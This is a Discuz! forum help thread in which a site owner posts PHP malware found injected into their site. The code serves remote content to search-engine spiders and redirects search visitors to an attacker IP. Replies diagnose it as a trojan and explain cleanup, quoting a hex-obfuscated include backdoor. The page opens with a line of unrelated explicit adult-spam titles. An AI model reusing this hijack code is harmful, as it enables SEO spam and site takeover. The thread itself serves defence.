男的舔女的下面视频在线播放-少妇愉情理仑片高潮日本-久久久久久国产一区二区三区-麻豆精品一区二区综合-国产精品超碰在线观看-网红极品女神精品视频在线-国产亚洲综合777-高清性视频一区二区播放-中文字幕第一页亚洲天堂

Discuz! 官方交流社區(qū)

標(biāo)題: 這一段是什么意思，網(wǎng)站異常卡，是被掛馬了，怎么查找..... [打印本頁(yè)]

作者: monery2 時(shí)間: 2020-9-11 13:44
標(biāo)題: 這一段是什么意思，網(wǎng)站異常卡，是被掛馬了，怎么查找.....
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://137.220.220.7/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}

$httpuser=strtolower($_SERVER['HTTP_REFERER']);
if(strstr($httpuser,'sogou') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider') or strstr($httpuser,'YisouSpider'))

{

Header("Location: http://137.220.220.7/");//

exit;

}

怎么查找其他php文件也包含這個(gè)。。。鋪天蓋地的碼

作者: Killer 時(shí)間: 2020-9-11 15:51
您這可能是被掛馬了哦

作者: 好佳芯科技 時(shí)間: 2020-9-11 16:13
看樣子是木馬，https://addon.dismall.com/plugins/nayuan_safe.html

作者: allthebest 時(shí)間: 2020-9-12 04:37
若存在，處理前，先卸載所有盜版插件與模版。

進(jìn)discuz后臺(tái)找到工具-文件校驗(yàn)，看下最近有哪些php文件被修改了。

1、排查網(wǎng)站源文件的php 文件，查看是否有出現(xiàn)IP地址、或者異常網(wǎng)站（上面跳轉(zhuǎn)的網(wǎng)站），如果有刪除就可以了。

2、排查網(wǎng)站源文件的php 文件，查看是否有如下代碼：@include($_SERVER['DOCUMENT_ROOT']

（排查一般用WEBshell后門(mén)掃描軟件掃描核查！）

如果有就刪除此段代碼。并把該段代碼進(jìn)行解密。

舉例：@include($_SERVER['DOCUMENT_ROOT'].PACK('H*','2F646174612F6176617461722F30'));

需要解密的代碼為：2F646174612F6176617461722F30

解密后為：/data/avatar/0

代碼解密地址：http://www.bejson.com/convert/ox2str/

意思就是在上述路徑下存在被非法上傳的文件，用于做快照劫持。

解決辦法：刪除上面的代碼和文件即可。

掛馬問(wèn)題解決了后，記得更改服務(wù)器相關(guān)的各種密碼，盡量設(shè)置的復(fù)雜一點(diǎn)。

作者: 鴻茂傳媒 時(shí)間: 2020-9-14 13:38
被掛馬了。

作者: hhb121 時(shí)間: 2020-9-18 21:42
這個(gè)是被掛馬了，當(dāng)搜索引擎訪問(wèn)頁(yè)面后，自動(dòng)跳轉(zhuǎn)到目標(biāo)網(wǎng)站或者ip，出現(xiàn)這種問(wèn)題，一般就是服務(wù)器安全沒(méi)做到位，或者使用了盜版插件造成的。

歡迎光臨 Discuz! 官方交流社區(qū) (http://m.sdtechgong.com.cn/)